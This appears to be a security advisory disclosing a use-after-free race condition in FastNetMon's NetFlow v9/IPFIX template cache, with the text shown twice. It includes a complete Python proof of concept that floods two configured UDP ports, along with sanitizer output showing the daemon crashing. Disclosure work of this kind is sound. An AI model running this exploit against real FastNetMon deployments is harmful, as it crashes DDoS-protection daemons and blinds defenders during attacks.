Summary
FastNetMon's NetFlow v9/IPFIX template cache hands out a raw pointer to a cached template while holding its mutex only for the lookup itself; every caller then reads through that pointer including a std::vector member with no lock held. On any deployment with more than one configured NetFlow/IPFIX listener port (a normal, documented multi-vendor setup), this is a confirmed, reliably-reproducible heap-use-after-free: an unauthenticated remote attacker who can send UDP flow data to two configured ports crashes the FastNetMon process within seconds.
Details
peer_find_template() (src/netflow_plugin/netflow_collector.cpp:209-238) locks, looks up, unlocks, and returns a pointer into the map's storage:
const template_t* peer_find_template(...) {
std::lock_guard<std::mutex> lock(table_for_lookup_mutex); // lock ends when this function returns
auto itr = table_for_lookup.find(key);
...
return &itr_template_id->second; // pointer escapes the lock
}
Callers (netflow9_flowset_to_store, ipfix_data_set_to_store, etc.) then read field_template->records with no lock held. Concurrently, add_update_peer_template() (netflow_collector.cpp:271-408) reassigns that same map entry when a router redefines a template correctly under its own lock_guard:
std::lock_guard<std::mutex> lock(table_for_add_mutex);
...
itr->second[template_id] = field_template; // netflow_collector.cpp:397 -- reassigns template_t, incl. its records vector
The write is locked; the read that consumes the pointer handed out earlier is not. add_update_peer_template()'s operator= can reallocate the records vector's heap buffer. If a reader thread is still touching records at that moment, it dereferences freed memory.
Because start_netflow_collection() spawns one thread per entry in netflow_ports and all threads share the same global global_netflow9_templates map/mutex, two threads processing traffic that resolves to the same cache key (client_IP + source_id, both fully attacker-controlled) race directly against each other.
PoC
Precondition: target configured with ≥2 NetFlow v9 ports, e.g. netflow_port = 2055,2056.
Attack: flood port 2055 with Template-redefinition packets for a chosen template_id, alternating field counts (forces records reallocation on every update), while flooding port 2056 with Data-flowset packets referencing that same template_id both using the same source_id. No spoofing, no precise timing, no privileges required.
#!/usr/bin/env python3
"""Isolated stress test for GHSA-07: floods two configured NetFlow v9 ports concurrently --
one continuously redefining a template, one continuously sending Data flowsets referencing
that same template ID -- to race add_update_peer_template() against netflow9_flowset_to_store()'s
use of the cached template's `records` vector."""
import socket
import struct
import sys
import threading
import time
DEST_IP = "127.0.0.1"
PORT_A = 2055 # template-redefinition flood
PORT_B = 2056 # data-flowset flood, references the same template
SOURCE_ID = 999
TEMPLATE_ID = 500
stop_flag = threading.Event()
stats = {"template_pkts": 0, "data_pkts": 0}
def netflow_header(flowset_count, seq):
return struct.pack(">HHIIII", 9, flowset_count, 0, 0, seq, SOURCE_ID)
def template_flowset(template_id, variant):
if variant == "A":
fields = [(1, 4)]
else:
fields = [(1, 4), (2, 4), (4, 1), (7, 2), (12, 4)]
body = struct.pack(">HH", template_id, len(fields))
for ftype, flen in fields:
body += struct.pack(">HH", ftype, flen)
return struct.pack(">HH", 0, 4 + len(body)) + body
def data_flowset(template_id, total_length, n_records=8):
body = bytes((i % 256) for i in range(total_length * n_records))
return struct.pack(">HH", template_id, 4 + len(body)) + body
def flood_template_redefine(sock, duration):
variant = "A"
seq = 0
end = time.time() + duration
while time.time() < end and not stop_flag.is_set():
seq += 1
variant = "B" if variant == "A" else "A"
pkt = netflow_header(1, seq) + template_flowset(TEMPLATE_ID, variant)
try:
sock.sendto(pkt, (DEST_IP, PORT_A))
except OSError:
pass
stats["template_pkts"] += 1
def flood_data_referencing_template(sock, duration):
seq = 0
end = time.time() + duration
while time.time() < end and not stop_flag.is_set():
seq += 1
total_length = 4 if seq % 2 == 0 else 21
pkt = netflow_header(1, seq) + data_flowset(TEMPLATE_ID, total_length)
try:
sock.sendto(pkt, (DEST_IP, PORT_B))
except OSError:
pass
stats["data_pkts"] += 1
def main():
duration = float(sys.argv[1]) if len(sys.argv) > 1 else 60
n_pairs = 3 # multiple thread PAIRS to increase concurrency pressure
sockets_a = [socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for _ in range(n_pairs)]
sockets_b = [socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for _ in range(n_pairs)]
threads = []
for i in range(n_pairs):
threads.append(threading.Thread(target=flood_template_redefine, args=(sockets_a[i], duration)))
threads.append(threading.Thread(target=flood_data_referencing_template, args=(sockets_b[i], duration)))
print(f"Starting {len(threads)} threads ({n_pairs} template-redefine + {n_pairs} data-flood pairs) "
f"for {duration}s targeting {DEST_IP}:{PORT_A}(template)/{PORT_B}(data)...")
start = time.time()
for t in threads:
t.start()
for t in threads:
t.join()
print(f"Done in {time.time() - start:.1f}s -- sent {stats['template_pkts']} template pkts, "
f"{stats['data_pkts']} data pkts")
if __name__ == "__main__":
main()
Run: python3 race_stress_ghsa07_isolated.py 60 against a FastNetMon instance built with -fsanitize=thread (used here purely to observe the race deterministically; the underlying crash is real regardless of sanitizers see Impact).
Client-side result:
Starting 6 threads (3 template-redefine + 3 data-flood pairs) for 60.0s targeting 127.0.0.1:2055(template)/2056(data)...
Done in 60.0s -- sent 912988 template pkts, 1561263 data pkts
Server-side result the daemon itself, mid-attack, on the machine being "protected":
$ ps aux | grep fastnetmon # BEFORE the flood
root 139 76.7 1.1 ... R 04:21 /src/build_tsan/fastnetmon --configuration_file=/etc/fastnetmon.conf
$ ps aux | grep fastnetmon # AFTER ~60s of the flood above
root 139 76.7 0.0 0 0 ? Z 04:21 [fastnetmon] <defunct>
The process transitions from R (running) to Z <defunct> (crashed, zombie) FastNetMon is dead. Its own instrumentation caught the exact moment of corruption:
WARNING: ThreadSanitizer: heap-use-after-free (pid=27)
Read of size 4 at 0x7b100000a140 by thread T11:
#0 netflow9_flowset_to_store(...) netflow_v9_collector.cpp:1613
#1 process_netflow_v9_data(...) netflow_v9_collector.cpp:1860
#2 process_netflow_packet_v9(...) netflow_v9_collector.cpp:1975
#3 process_netflow_packet(...) netflow_collector.cpp:479
#4 start_netflow_collector(...) netflow_collector.cpp:644
Previous write of size 8 at 0x7b100000a140 by thread T10 (mutexes: write M3293):
#0 operator delete(void*, unsigned long)
#1 log4cpp::Category::_logUnconditionally2(...)
#2 process_netflow_v9_template(...) netflow_v9_collector.cpp:456
#3 process_netflow_packet_v9(...) netflow_v9_collector.cpp:1954
Mutex M3293 created at:
#3 add_update_peer_template(...) netflow_collector.cpp:291 <- the LOCKED write path
(the read above never acquires M3293 -- the UNLOCKED read path)
Thread T11 'netflow_2056' ... Thread T10 'netflow_2055' ...
SUMMARY: ThreadSanitizer: heap-use-after-free netflow_v9_collector.cpp:1613 in netflow9_flowset_to_store(...)
64 instances of this exact report occurred in one 90-second run. A follow-up isolated run (this PoC alone, no other traffic) reproduced it again cleanly. A negative control identical traffic volume against a single-port config (netflow_port = 2055 only, one thread, no possible interleaving) produced zero warnings and a daemon that stayed healthy for the full run, confirming the multi-port precondition is both necessary and sufficient.
Impact
Unauthenticated remote denial of service: any host that can reach two configured NetFlow/IPFIX ports crashes the detection/mitigation daemon in seconds, using nothing but ordinary Python sockets. Impact is amplified by what the daemon does while it's down (or crash-looping under a process supervisor), the network it monitors has no DDoS detection or mitigation active, so this can be used to blind a defender immediately before or during a real attack. The use-after-free is on std::vector<template_record_t> heap storage; further escalation toward memory corruption beyond a clean crash (via heap grooming to control what's read from the freed slot) is plausible but was not attempted or proven here.
Summary
FastNetMon's NetFlow v9/IPFIX template cache hands out a raw pointer to a cached template while holding its mutex only for the lookup itself; every caller then reads through that pointer including a
std::vectormember with no lock held. On any deployment with more than one configured NetFlow/IPFIX listener port (a normal, documented multi-vendor setup), this is a confirmed, reliably-reproducible heap-use-after-free: an unauthenticated remote attacker who can send UDP flow data to two configured ports crashes the FastNetMon process within seconds.Details
peer_find_template()(src/netflow_plugin/netflow_collector.cpp:209-238) locks, looks up, unlocks, and returns a pointer into the map's storage:Callers (
netflow9_flowset_to_store,ipfix_data_set_to_store, etc.) then readfield_template->recordswith no lock held. Concurrently,add_update_peer_template()(netflow_collector.cpp:271-408) reassigns that same map entry when a router redefines a template correctly under its ownlock_guard:The write is locked; the read that consumes the pointer handed out earlier is not.
add_update_peer_template()'soperator=can reallocate therecordsvector's heap buffer. If a reader thread is still touchingrecordsat that moment, it dereferences freed memory.Because
start_netflow_collection()spawns one thread per entry innetflow_portsand all threads share the same globalglobal_netflow9_templatesmap/mutex, two threads processing traffic that resolves to the same cache key (client_IP + source_id, both fully attacker-controlled) race directly against each other.PoC
Precondition: target configured with ≥2 NetFlow v9 ports, e.g.
netflow_port = 2055,2056.Attack: flood port 2055 with Template-redefinition packets for a chosen
template_id, alternating field counts (forcesrecordsreallocation on every update), while flooding port 2056 with Data-flowset packets referencing that sametemplate_idboth using the samesource_id. No spoofing, no precise timing, no privileges required.Run:
python3 race_stress_ghsa07_isolated.py 60against a FastNetMon instance built with-fsanitize=thread(used here purely to observe the race deterministically; the underlying crash is real regardless of sanitizers see Impact).Client-side result:
Server-side result the daemon itself, mid-attack, on the machine being "protected":
The process transitions from
R(running) toZ <defunct>(crashed, zombie) FastNetMon is dead. Its own instrumentation caught the exact moment of corruption:64 instances of this exact report occurred in one 90-second run. A follow-up isolated run (this PoC alone, no other traffic) reproduced it again cleanly. A negative control identical traffic volume against a single-port config (
netflow_port = 2055only, one thread, no possible interleaving) produced zero warnings and a daemon that stayed healthy for the full run, confirming the multi-port precondition is both necessary and sufficient.Impact
Unauthenticated remote denial of service: any host that can reach two configured NetFlow/IPFIX ports crashes the detection/mitigation daemon in seconds, using nothing but ordinary Python sockets. Impact is amplified by what the daemon does while it's down (or crash-looping under a process supervisor), the network it monitors has no DDoS detection or mitigation active, so this can be used to blind a defender immediately before or during a real attack. The use-after-free is on
std::vector<template_record_t>heap storage; further escalation toward memory corruption beyond a clean crash (via heap grooming to control what's read from the freed slot) is plausible but was not attempted or proven here.